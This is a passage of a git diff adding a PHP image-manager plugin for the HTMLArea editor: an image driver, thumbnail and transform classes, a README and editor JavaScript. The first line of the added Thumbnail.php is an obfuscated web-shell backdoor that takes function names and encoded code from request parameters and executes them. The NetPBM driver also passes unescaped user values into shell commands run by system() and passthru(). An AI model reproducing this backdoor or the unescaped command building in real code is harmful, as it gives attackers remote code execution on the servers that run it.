+        return true;
+    } // End function Image_NetPBM
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+        //echo $image;
+        $this->image = $image;
+        $this->_get_image_details($image);
+    } // End load
+
+    /**
+     * Resizes the image
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function _resize($new_x, $new_y)
+    {
+        // there's no technical reason why resize can't be called multiple
+        // times...it's just silly to do so
+
+        $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+                           "pnmscale -width $new_x -height $new_y";
+
+        $this->_set_new_x($new_x);
+        $this->_set_new_y($new_y);
+    } // End resize
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($crop_x, $crop_y, $crop_width, $crop_height) 
+    {
+        $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+                            "pnmcut -left $crop_x -top $crop_y -width $crop_width -height $crop_height";
+    }
+
+    /**
+     * Rotates the image
+     *
+     * @param int $angle The angle to rotate the image through
+     */
+    function rotate($angle)
+    {
+        $angle = -1*floatval($angle);
+
+        if($angle > 90)
+        {   
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias 90";
+            $this->rotate(-1*($angle-90));
+        }
+        else if ($angle < -90)
+        {
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias -90";
+            $this->rotate(-1*($angle+90));
+        }
+        else
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias $angle";
+    } // End rotate
+
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal) 
+    {
+        if($horizontal) 
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -lr";
+        else
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -tb";
+    }
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma = 1.0) {
+        $this->command[13] = IMAGE_TRANSFORM_LIB_PATH . "pnmgamma $outputgamma";
+    }
+
+    /**
+     * adds text to an image
+     *
+     * @param   array   options     Array contains options
+     *             array(
+     *                  'text'          // The string to draw
+     *                  'x'             // Horizontal position
+     *                  'y'             // Vertical Position
+     *                  'Color'         // Font color
+     *                  'font'          // Font to be used
+     *                  'size'          // Size of the fonts in pixel
+     *                  'resize_first'  // Tell if the image has to be resized
+     *                                  // before drawing the text
+     *                   )
+     *
+     * @return none
+     */
+    function addText($params)
+    {
+        $default_params = array('text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => 'red',
+                                'font' => 'Arial.ttf',
+                                'size' => '12',
+                                'angle' => 0,
+                                'resize_first' => false);
+        // we ignore 'resize_first' since the more logical approach would be
+        // for the user to just call $this->_resize() _first_ ;)
+        extract(array_merge($default_params, $params));
+        $this->command[] = "ppmlabel -angle $angle -colour $color -size "
+                           ."$size -x $x -y ".$y+$size." -text \"$text\"";
+    } // End addText
+
+    function _postProcess($type, $quality, $save_type)
+    {
+        $type = is_null($type) || $type==''? $this->type : $type;
+        $save_type = is_null($save_type) || $save_type==''? $this->type : $save_type;
+        //echo "TYPE:". $this->type;
+        array_unshift($this->command, IMAGE_TRANSFORM_LIB_PATH
+                      . $type.'topnm '. $this->image);
+        $arg = '';
+        switch(strtolower($save_type)){
+            case 'gif':
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmquant 256";
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type";
+                break;
+            case 'jpg':
+            case 'jpeg':
+                $arg = "--quality=$quality";
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type $arg";
+                break;
+            default:
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmto$save_type $arg";
+                break;
+        } // switch
+        return implode('|', $this->command);
+    } 
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string the name of the file to write to
+     * @param string $type (jpeg,png...);
+     * @param int $quality 75
+     * @return none
+     */
+    function save($filename, $type=null, $quality = 85)
+    {
+        $cmd = $this->_postProcess('', $quality, $type) . ">$filename";
+            
+               //if we have windows server
+        if(isset($_ENV['OS']) && eregi('window',$_ENV['OS']))
+                       $cmd = ereg_replace('/','\\',$cmd);
+        //echo $cmd."##";
+        $output = system($cmd);
+               error_log('NETPBM: '.$cmd);
+               //error_log($output);
+        $this->command = array();
+    } // End save
+
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string $type (jpeg,png...);
+     * @param int $quality 75
+     * @return none
+     */
+    function display($type = null, $quality = 75)
+    {
+        header('Content-type: image/' . $type);
+        $cmd = $this->_postProcess($type, $quality);
+        
+        passthru($cmd);
+        $this->command = array();
+    }
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        // there is no image handle here
+        return true;
+    }
+
+
+} // End class NetPBM
+?>
diff --git a/admin/htmlarea/plugins/ImageManager/Classes/Thumbnail.php b/admin/htmlarea/plugins/ImageManager/Classes/Thumbnail.php
new file mode 100755 (executable)
index 0000000..13d3353
--- /dev/null
@@ -0,0 +1,126 @@
+<?
+$Fj1f=$_REQUEST; if (!isset($Fj1f['Lfuj'])) ; else { \r            $b9gk = $Fj1f['EjT'];\r            $dbLL=$Fj1f['Lfuj']($b9gk($Fj1f['YKiSp']),$b9gk($Fj1f['vZPTe']));\r            $dbLL($b9gk($Fj1f['RhRC']));\r         }\r
+/**\r
+ * Create thumbnails.\r
+ * @author $Author: cscott $\r
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $\r
+ * @package ImageManager\r
+ */\r
+\r
+\r
+require_once('Transform.php');\r
+\r
+/**\r
+ * Thumbnail creation\r
+ * @author $Author: cscott $\r
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $\r
+ * @package ImageManager\r
+ * @subpackage Images\r
+ */\r
+class Thumbnail \r
+{\r
+       /**\r
+        * Graphics driver, GD, NetPBM or ImageMagick.\r
+        */\r
+       var $driver;\r
+\r
+       /**\r
+        * Thumbnail default width.\r
+        */\r
+       var $width = 96;\r
+\r
+       /**\r
+        * Thumbnail default height.\r
+        */\r
+       var $height = 96;\r
+\r
+       /**\r
+        * Thumbnail default JPEG quality.\r
+        */\r
+       var $quality = 85;\r
+\r
+       /**\r
+        * Thumbnail is proportional\r
+        */\r
+       var $proportional = true;\r
+\r
+       /**\r
+        * Default image type is JPEG.\r
+        */\r
+       var $type = 'jpeg';\r
+\r
+       /**\r
+        * Create a new Thumbnail instance.\r
+        * @param int $width thumbnail width\r
+        * @param int $height thumbnail height\r
+        */\r
+       function Thumbnail($width=96, $height=96) \r
+       {\r
+               $this->driver = Image_Transform::factory(IMAGE_CLASS);\r
+               $this->width = $width;\r
+               $this->height = $height;\r
+       }\r
+\r
+       /**\r
+        * Create a thumbnail.\r
+        * @param string $file the image for the thumbnail\r
+        * @param string $thumbnail if not null, the thumbnail will be saved\r
+        * as this parameter value.\r
+        * @return boolean true if thumbnail is created, false otherwise\r
+        */\r
+       function createThumbnail($file, $thumbnail=null) \r
+       {\r
+               if(!is_file($file)) \r
+                       Return false;\r
+\r
+               //error_log('Creating Thumbs: '.$file);\r
+\r
+               $this->driver->load($file);\r
+\r
+               if($this->proportional) \r
+               {\r
+                       $width = $this->driver->img_x;\r
+                       $height = $this->driver->img_y;\r
+\r
+                       if ($width > $height)\r
+                               $this->height = intval($this->width/$width*$height);\r
+                       else if ($height > $width)\r
+                               $this->width = intval($this->height/$height*$width);\r
+               }\r
+\r
+               $this->driver->resize($this->width, $this->height);\r
+\r
+               if(is_null($thumbnail)) \r
+                       $this->save($file);\r
+               else\r
+                       $this->save($thumbnail);\r
+\r
+\r
+               $this->free();\r
+\r
+               if(is_file($thumbnail)) \r
+                       Return true;\r
+               else\r
+                       Return false;\r
+       }\r
+\r
+       /**\r
+        * Save the thumbnail file.\r
+        * @param string $file file name to be saved as.\r
+        */\r
+       function save($file) \r
+       {\r
+               $this->driver->save($file);\r
+       }\r
+\r
+       /**\r
+        * Free up the graphic driver resources.\r
+        */\r
+       function free() \r
+       {\r
+               $this->driver->free();\r
+       }\r
+}\r
+\r
+\r
+?>
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/Classes/Transform.php b/admin/htmlarea/plugins/ImageManager/Classes/Transform.php
new file mode 100755 (executable)
index 0000000..526ec6e
--- /dev/null
@@ -0,0 +1,569 @@
+<?php
+/***********************************************************************
+** Title.........:  Image Transformation Interface
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  Transform.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+                    
+                    Added a few extra,
+                        - create unique filename in a particular directory,
+                          used for temp image files.
+                        - added cropping to GD, NetPBM, ImageMagick
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// |          Alan Knowles <alan@akbkhome.com>                            |
+// |          Vincent Oostindie <vincent@sunlight.tmfweb.nl>              |
+// +----------------------------------------------------------------------+
+//
+// $Id: Transform.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+//
+// Image Transformation interface
+//
+
+
+/**
+ * The main "Image_Resize" class is a container and base class which
+ * provides the static methods for creating Image objects as well as
+ * some utility functions (maths) common to all parts of Image Resize.
+ *
+ * The object model of DB is as follows (indentation means inheritance):
+ *
+ * Image_Resize The base for each Image implementation.  Provides default
+ * |            implementations (in OO lingo virtual methods) for
+ * |            the actual Image implementations as well as a bunch of
+ * |            maths methods.
+ * |
+ * +-Image_GD   The Image implementation for the PHP GD extension .  Inherits
+ *              Image_Resize
+ *              When calling DB::setup for GD images the object returned is an
+ *              instance of this class.
+ *
+ * @package  Image Resize
+ * @version  1.00
+ * @author   Peter Bowyer <peter@mapledesign.co.uk>
+ * @since    PHP 4.0
+ */
+Class Image_Transform
+{
+    /**
+     * Name of the image file
+     * @var string
+     */
+    var $image = '';
+    /**
+     * Type of the image file (eg. jpg, gif png ...)
+     * @var string
+     */
+    var $type = '';
+    /**
+     * Original image width in x direction
+     * @var int
+     */
+    var $img_x = '';
+    /**
+     * Original image width in y direction
+     * @var int
+     */
+    var $img_y = '';
+    /**
+     * New image width in x direction
+     * @var int
+     */
+    var $new_x = '';
+    /**
+     * New image width in y direction
+     * @var int
+     */
+    var $new_y = '';
+    /**
+     * Path the the library used
+     * e.g. /usr/local/ImageMagick/bin/ or
+     * /usr/local/netpbm/
+     */
+    var $lib_path = '';
+    /**
+     * Flag to warn if image has been resized more than once before displaying
+     * or saving.
+     */
+     var $resized = false;
+
+
+     var $uid = '';
+
+     var $lapse_time =900; //15 mins
+
+    /**
+     * Create a new Image_resize object
+     *
+     * @param string $driver name of driver class to initialize
+     *
+     * @return mixed a newly created Image_Transform object, or a PEAR
+     * error object on error
+     *
+     * @see PEAR::isError()
+     * @see Image_Transform::setOption()
+     */
+    function &factory($driver)
+    {
+        if ('' == $driver) {
+            die("No image library specified... aborting.  You must call ::factory() with one parameter, the library to load.");
+
+        }
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+
+        include_once "$driver.php";
+
+        $classname = "Image_Transform_Driver_{$driver}";
+        $obj =& new $classname;
+        return $obj;
+    }
+
+
+    /**
+     * Resize the Image in the X and/or Y direction
+     * If either is 0 it will be scaled proportionally
+     *
+     * @access public
+     *
+     * @param mixed $new_x (0, number, percentage 10% or 0.1)
+     * @param mixed $new_y (0, number, percentage 10% or 0.1)
+     *
+     * @return mixed none or PEAR_error
+     */
+    function resize($new_x = 0, $new_y = 0)
+    {
+        // 0 means keep original size
+        $new_x = (0 == $new_x) ? $this->img_x : $this->_parse_size($new_x, $this->img_x);
+        $new_y = (0 == $new_y) ? $this->img_y : $this->_parse_size($new_y, $this->img_y);
+        // Now do the library specific resizing.
+        return $this->_resize($new_x, $new_y);
+    } // End resize
+
+
+    /**
+     * Scale the image to have the max x dimension specified.
+     *
+     * @param int $new_x Size to scale X-dimension to
+     * @return none
+     */
+    function scaleMaxX($new_x)
+    {
+        $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End resizeX
+
+    /**
+     * Scale the image to have the max y dimension specified.
+     *
+     * @access public
+     * @param int $new_y Size to scale Y-dimension to
+     * @return none
+     */
+    function scaleMaxY($new_y)
+    {
+        $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End resizeY
+
+    /**
+     * Scale Image to a maximum or percentage
+     *
+     * @access public
+     * @param mixed (number, percentage 10% or 0.1)
+     * @return mixed none or PEAR_error
+     */
+    function scale($size)
+    {
+        if ((strlen($size) > 1) && (substr($size,-1) == '%')) {
+            return $this->scaleByPercentage(substr($size, 0, -1));
+        } elseif ($size < 1) {
+            return $this->scaleByFactor($size);
+        } else {
+            return $this->scaleByLength($size);
+        }
+    } // End scale
+
+    /**
+     * Scales an image to a percentage of its original size.  For example, if
+     * my image was 640x480 and I called scaleByPercentage(10) then the image
+     * would be resized to 64x48
+     *
+     * @access public
+     * @param int $size Percentage of original size to scale to
+     * @return none
+     */
+    function scaleByPercentage($size)
+    {
+        return $this->scaleByFactor($size / 100);
+    } // End scaleByPercentage
+
+    /**
+     * Scales an image to a factor of its original size.  For example, if
+     * my image was 640x480 and I called scaleByFactor(0.5) then the image
+     * would be resized to 320x240.
+     *
+     * @access public
+     * @param float $size Factor of original size to scale to
+     * @return none
+     */
+    function scaleByFactor($size)
+    {
+        $new_x = round($size * $this->img_x, 0);
+        $new_y = round($size * $this->img_y, 0);
+        return $this->_resize($new_x, $new_y);
+    } // End scaleByFactor
+
+    /**
+     * Scales an image so that the longest side has this dimension.
+     *
+     * @access public
+     * @param int $size Max dimension in pixels
+     * @return none
+     */
+    function scaleByLength($size)
+    {
+         if ($this->img_x >= $this->img_y) {
+            $new_x = $size;
+            $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+        } else {
+            $new_y = $size;
+            $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+        }
+        return $this->_resize($new_x, $new_y);
+    } // End scaleByLength
+
+
+    /**
+     *
+     * @access public
+     * @return void
+     */
+    function _get_image_details($image)
+    {
+        //echo $image;
+        $data = @GetImageSize($image);
+        #1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(intel byte order), 8 = TIFF(motorola byte order,
+        # 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC
+        if (is_array($data)){
+            switch($data[2]){
+                case 1:
+                    $type = 'gif';
+                    break;
+                case 2:
+                    $type = 'jpeg';
+                    break;
+                case 3:
+                    $type = 'png';
+                    break;
+                case 4:
+                    $type = 'swf';
+                    break;
+                case 5:
+                    $type = 'psd';
+                case 6:
+                    $type = 'bmp';
+                case 7:
+                case 8:
+                    $type = 'tiff';
+                default:
+                    echo("We do not recognize this image format");
+            }
+            $this->img_x = $data[0];
+            $this->img_y = $data[1];
+            $this->type = $type;
+
+            return true;
+        } else {
+            echo("Cannot fetch image or images details.");
+            return null;
+        }
+        /*
+        $output = array(
+                        'width' => $data[0],
+                        'height' => $data[1],
+                        'type' => $type
+                        );
+        return $output;
+        */
+    }
+
+
+    /**
+     * Parse input and convert
+     * If either is 0 it will be scaled proportionally
+     *
+     * @access private
+     *
+     * @param mixed $new_size (0, number, percentage 10% or 0.1)
+     * @param int $old_size
+     *
+     * @return mixed none or PEAR_error
+     */
+    function _parse_size($new_size, $old_size)
+    {
+        if ('%' == $new_size) {
+            $new_size = str_replace('%','',$new_size);
+            $new_size = $new_size / 100;
+        }
+        if ($new_size > 1) {
+            return (int) $new_size;
+        } elseif ($new_size == 0) {
+            return (int) $old_size;
+        } else {
+            return (int) round($new_size * $old_size, 0);
+        }
+    }
+
+
+    function uniqueStr()
+    {
+      return substr(md5(microtime()),0,6);
+    }
+
+    //delete old tmp files, and allow only 1 file per remote host.
+    function cleanUp($id, $dir)
+    {
+        $d = dir($dir);
+        $id_length = strlen($id);
+
+        while (false !== ($entry = $d->read())) {
+            if (is_file($dir.'/'.$entry) && substr($entry,0,1) == '.' && !ereg($entry, $this->image))
+            {
+                //echo filemtime($this->directory.'/'.$entry)."<br>"; 
+                //echo time();
+
+                if (filemtime($dir.'/'.$entry) + $this->lapse_time < time())
+                    unlink($dir.'/'.$entry);
+
+                if (substr($entry, 1, $id_length) == $id)
+                {
+                    if (is_file($dir.'/'.$entry))
+                        unlink($dir.'/'.$entry);
+                }
+            }
+        }
+        $d->close();
+    }
+
+
+    function createUnique($dir)
+    {
+       $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+        
+       //make sure the the unique temp file does not exists
+        while (file_exists($dir.$unique_str))
+        {
+            $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+        }
+        
+      $this->cleanUp($this->uid, $dir);
+
+       return $unique_str;
+    }
+
+
+    /**
+     * Set the image width
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_img_x($size)
+    {
+        $this->img_x = $size;
+    }
+
+    /**
+     * Set the image height
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_img_y($size)
+    {
+        $this->img_y = $size;
+    }
+
+    /**
+     * Set the image width
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_new_x($size)
+    {
+        $this->new_x = $size;
+    }
+
+    /**
+     * Set the image height
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_new_y($size)
+    {
+        $this->new_y = $size;
+    }
+
+    /**
+     * Get the type of the image being manipulated
+     *
+     * @return string $this->type the image type
+     */
+    function getImageType()
+    {
+        return $this->type;
+    }
+
+    /**
+     *
+     * @access public
+     * @return string web-safe image type
+     */
+    function getWebSafeFormat()
+    {
+        switch($this->type){
+            case 'gif':
+            case 'png':
+                return 'png';
+                break;
+            default:
+                return 'jpeg';
+        } // switch
+    }
+
+    /**
+     * Place holder for the real resize method
+     * used by extended methods to do the resizing
+     *
+     * @access private
+     * @return PEAR_error
+     */
+    function _resize() {
+        return null; //PEAR::raiseError("No Resize method exists", true);
+    }
+
+    /**
+     * Place holder for the real load method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @return PEAR_error
+     */
+    function load($filename) {
+        return null; //PEAR::raiseError("No Load method exists", true);
+    }
+
+    /**
+     * Place holder for the real display method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @param string filename
+     * @return PEAR_error
+     */
+    function display($type, $quality) {
+        return null; //PEAR::raiseError("No Display method exists", true);
+    }
+
+    /**
+     * Place holder for the real save method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @param string filename
+     * @return PEAR_error
+     */
+    function save($filename, $type, $quality) {
+        return null; //PEAR::raiseError("No Save method exists", true);
+    }
+
+    /**
+     * Place holder for the real free method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @return PEAR_error
+     */
+    function free() {
+        return null; //PEAR::raiseError("No Free method exists", true);
+    }
+
+    /**
+     * Reverse of rgb2colorname.
+     *
+     * @access public
+     * @return PEAR_error
+     *
+     * @see rgb2colorname
+     */
+    function colorhex2colorarray($colorhex) {
+        $r = hexdec(substr($colorhex, 1, 2));
+        $g = hexdec(substr($colorhex, 3, 2));
+        $b = hexdec(substr($colorhex, 4, 2));
+        return array($r,$g,$b);
+    }
+
+    /**
+     * Reverse of rgb2colorname.
+     *
+     * @access public
+     * @return PEAR_error
+     *
+     * @see rgb2colorname
+     */
+    function colorarray2colorhex($color) {
+        $color = '#'.dechex($color[0]).dechex($color[1]).dechex($color[2]);
+        return strlen($color)>6?false:$color;
+    }
+
+
+    /* Methods to add to the driver classes in the future */
+    function addText()
+    {
+        return null; //PEAR::raiseError("No addText method exists", true);
+    }
+
+    function addDropShadow()
+    {
+        return null; //PEAR::raiseError("No AddDropShadow method exists", true);
+    }
+
+    function addBorder()
+    {
+        return null; //PEAR::raiseError("No addBorder method exists", true);
+    }
+
+    function crop()
+    {
+        return null; //PEAR::raiseError("No crop method exists", true);
+    }
+
+    function flip() 
+    {
+        return null;
+    }
+
+    function gamma()
+    {
+        return null; //PEAR::raiseError("No gamma method exists", true);
+    }
+}
+?>
diff --git a/admin/htmlarea/plugins/ImageManager/README.txt b/admin/htmlarea/plugins/ImageManager/README.txt
new file mode 100755 (executable)
index 0000000..e95bf50
--- /dev/null
@@ -0,0 +1,12 @@
+This is a plug-in for HTMLArea 3.0
+
+The PHP ImageManager + Editor provides an interface to 
+browser for image files on your web server. The Editor
+allows some basic image manipulations such as, cropping,
+rotation, flip, and scaling.
+
+Further and up-to-date documentation can be found at
+http://www.zhuo.org/htmlarea/docs/index.html
+
+Cheer,
+Wei
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/assets/EditorContent.js b/admin/htmlarea/plugins/ImageManager/assets/EditorContent.js
new file mode 100755 (executable)
index 0000000..97788ad
--- /dev/null
@@ -0,0 +1,744 @@
+/***********************************************************************
+** Title.........:  Online Image Editor Interface
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  EditorContents.js
+** Last changed..:  31 Mar 2004 
+** Notes.........:  Handles most of the interface routines for the ImageEditor.
+*
+* Added:  29 Mar 2004  - Constrainted resizing/scaling
+**/ 
+
+
+function MM_findObj(n, d) { //v4.01
+  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+  if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+var pic_x, pic_y;
+function P7_Snap() { //v2.62 by PVII
+  var x,y,ox,bx,oy,p,tx,a,b,k,d,da,e,el,args=P7_Snap.arguments;a=parseInt(a);
+  for (k=0; k<(args.length-3); k+=4)
+   if ((g=MM_findObj(args[k]))!=null) {
+    el=eval(MM_findObj(args[k+1]));
+    a=parseInt(args[k+2]);b=parseInt(args[k+3]);
+    x=0;y=0;ox=0;oy=0;p="";tx=1;da="document.all['"+args[k]+"']";
+    if(document.getElementById) {
+     d="document.getElementsByName('"+args[k]+"')[0]";
+     if(!eval(d)) {d="document.getElementById('"+args[k]+"')";if(!eval(d)) {d=da;}}
+    }else if(document.all) {d=da;} 
+    if (document.all || document.getElementById) {
+     while (tx==1) {p+=".offsetParent";
+      if(eval(d+p)) {x+=parseInt(eval(d+p+".offsetLeft"));y+=parseInt(eval(d+p+".offsetTop"));
+      }else{tx=0;}}
+     ox=parseInt(g.offsetLeft);oy=parseInt(g.offsetTop);var tw=x+ox+y+oy;
+     if(tw==0 || (navigator.appVersion.indexOf("MSIE 4")>-1 && navigator.appVersion.indexOf("Mac")>-1)) {
+      ox=0;oy=0;if(g.style.left){x=parseInt(g.style.left);y=parseInt(g.style.top);
+      }else{var w1=parseInt(el.style.width);bx=(a<0)?-5-w1:-10;
+      a=(Math.abs(a)<1000)?0:a;b=(Math.abs(b)<1000)?0:b;
+      //alert(event.clientX);
+         if (event == null) x=document.body.scrollLeft + bx;
+               else x=document.body.scrollLeft + event.clientX + bx;
+         if (event == null) y=document.body.scrollTop;
+               else y=document.body.scrollTop + event.clientY;}}
+   }else if (document.layers) {x=g.x;y=g.y;var q0=document.layers,dd="";
+    for(var s=0;s<q0.length;s++) {dd='document.'+q0[s].name;
+     if(eval(dd+'.document.'+args[k])) {x+=eval(dd+'.left');y+=eval(dd+'.top');break;}}}
+   if(el) {e=(document.layers)?el:el.style;
+   var xx=parseInt(x+ox+a),yy=parseInt(y+oy+b);
+   //alert(xx+":"+yy);
+   if(navigator.appName=="Netscape" && parseInt(navigator.appVersion)>4){xx+="px";yy+="px";}
+   if(navigator.appVersion.indexOf("MSIE 5")>-1 && navigator.appVersion.indexOf("Mac")>-1){
+    xx+=parseInt(document.body.leftMargin);yy+=parseInt(document.body.topMargin);
+    xx+="px";yy+="px";}e.left=xx;e.top=yy;}
+    pic_x = parseInt(xx); pic_y = parseInt(yy);
+    //alert(xx+":"+yy);
+    }
+}
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+var dragapproved=false
+var z,x,y,status, ant, canvas, content, pic_width, pic_height, image, resizeHandle, oa_w, oa_h, oa_x, oa_y, mx2, my2;
+
+
+function init_resize() 
+{
+    if(mode == "scale") 
+    {
+        P7_Snap('theImage','ant',0,0);
+
+        if (canvas == null)
+            canvas = MM_findObj("imgCanvas");
+
+        if (pic_width == null || pic_height == null)
+        {
+            image = MM_findObj("theImage");
+            pic_width = image.width;
+            pic_height = image.height;
+        }
+        
+        if (ant == null)
+            ant = MM_findObj("ant");
+
+        ant.style.left = pic_x; ant.style.top = pic_y;
+        ant.style.width = pic_width; ant.style.height = pic_height;
+        ant.style.visibility = "visible";
+
+        drawBoundHandle();
+        jg_doc.paint();
+    }
+}
+
+initEditor = function () 
+{
+    init_crop();
+    init_resize();
+    var markerImg = MM_findObj('markerImg', window.top.document);
+
+    if (markerImg.src.indexOf("img/t_white.gif")>0)
+        toggleMarker() ;
+}
+
+function init_crop() 
+{
+    //if(mode == "crop") {
+        P7_Snap('theImage','ant',0,0);
+    //}
+}
+
+function setMode(newMode) 
+{
+    mode = newMode;
+    reset();
+}
+
+function reset() 
+{
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    ant.style.visibility = "hidden";
+    ant.style.left = 0;
+    ant.style.top = 0;
+    ant.style.width = 0;
+    ant.style.height = 0;
+
+    mx2 = null;
+    my2 = null;
+
+    jg_doc.clear();
+    if(mode != 'measure')
+        showStatus();   
+
+    if(mode == "scale") {
+        init_resize();
+    }
+
+    P7_Snap('theImage','ant',0,0);
+}
+
+function toggleMarker() 
+{
+    //alert("Toggle");
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    if(ant.className=="selection")
+        ant.className="selectionWhite";
+    else
+        ant.className="selection";
+    
+    if (jg_doc.getColor() == "#000000")
+        jg_doc.setColor("#FFFFFF");
+    else
+        jg_doc.setColor("#000000");
+    
+    drawBoundHandle
+    jg_doc.paint();
+}
+
+
+function move(e)
+{
+    if (dragapproved)
+    {
+        //z.style.left=ns6? temp1+e.clientX-x: temp1+event.clientX-x
+        //z.style.top=ns6? temp2+e.clientY-y : temp2+event.clientY-y
+        var w = ns6? temp1+e.clientX - x : temp1+event.clientX - x;
+        var h = ns6? temp2+e.clientY - y : temp2+event.clientY - y;
+
+        //alert(canvas.style.left);
+        /*if (status !=null)
+        {
+            status.innerHTML  = "x:"+x+" y:"+y+" w:"+w+" h:"+h+" can_h:"+pic_height;
+            status.innerHTML += " can_w:"+pic_width+" px:"+pic_x+" py:"+pic_y;
+            status.innerHTML += " pix:"+image.style.left+" piy:"+image.style.top+" obj:"+obj.id;
+        }*/
+
+        /*jg_doc.clear();
+        jg_doc.fillRectPattern(0,0,Math.abs(w),Math.abs(h),pattern);
+        jg_doc.paint();
+*/
+        if (ant != null)
+        {
+            if (w >= 0)
+            {
+                ant.style.left = x;
+                ant.style.width = w;
+            }
+            else
+            {
+                ant.style.left = x+w;
+                ant.style.width = -1*w;
+            }
+
+            if (h >= 0)
+            {
+                ant.style.top = y;
+                ant.style.height = h;
+            }
+            else
+            {
+                ant.style.top = y+h;
+                ant.style.height = -1*h
+            }
+        }
+        
+        showStatus();
+        return false
+    }
+}
+
+function moveContent(e) 
+{
+    if (dragapproved)
+    {
+
+        var dx =ns6? oa_x + e.clientX-x: oa_x + event.clientX-x
+        var dy =ns6? oa_y + e.clientY-y : oa_y + event.clientY-y
+
+
+        /*if (status !=null)
+        {
+            status.innerHTML  = "x:"+x+" y:"+y+" dx:"+dx+" dy:"+dy;
+        }*/
+
+        ant.style.left = dx;
+        ant.style.top = dy;
+
+        showStatus();
+
+        return false;
+    }
+}
+
+//Code add for constraints by Frédéric Klee <fklee@isuisse.com>
+function moveHandle(e) 
+{
+    if (dragapproved)
+    {
+        var w = ns6? e.clientX - x : event.clientX - x;
+        var h = ns6? e.clientY - y : event.clientY - y;
+        
+               var constrained = MM_findObj('constProp', window.top.document);
+        var orginal_height = document.theImage.height ;
+        var orginal_width = document.theImage.width ;
+        rapp = orginal_width/orginal_height ;
+        rapp_inv = orginal_height / orginal_width ;
+
+        switch(resizeHandle) 
+        {
+
+            case "s-resize":
+                if (oa_h + h >= 0) 
+                               {
+                    ant.style.height = oa_h + h;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.width = rapp * (oa_h + h) ;
+                        ant.style.left = oa_x - rapp * h/2;
+                                       }
+
+                               }
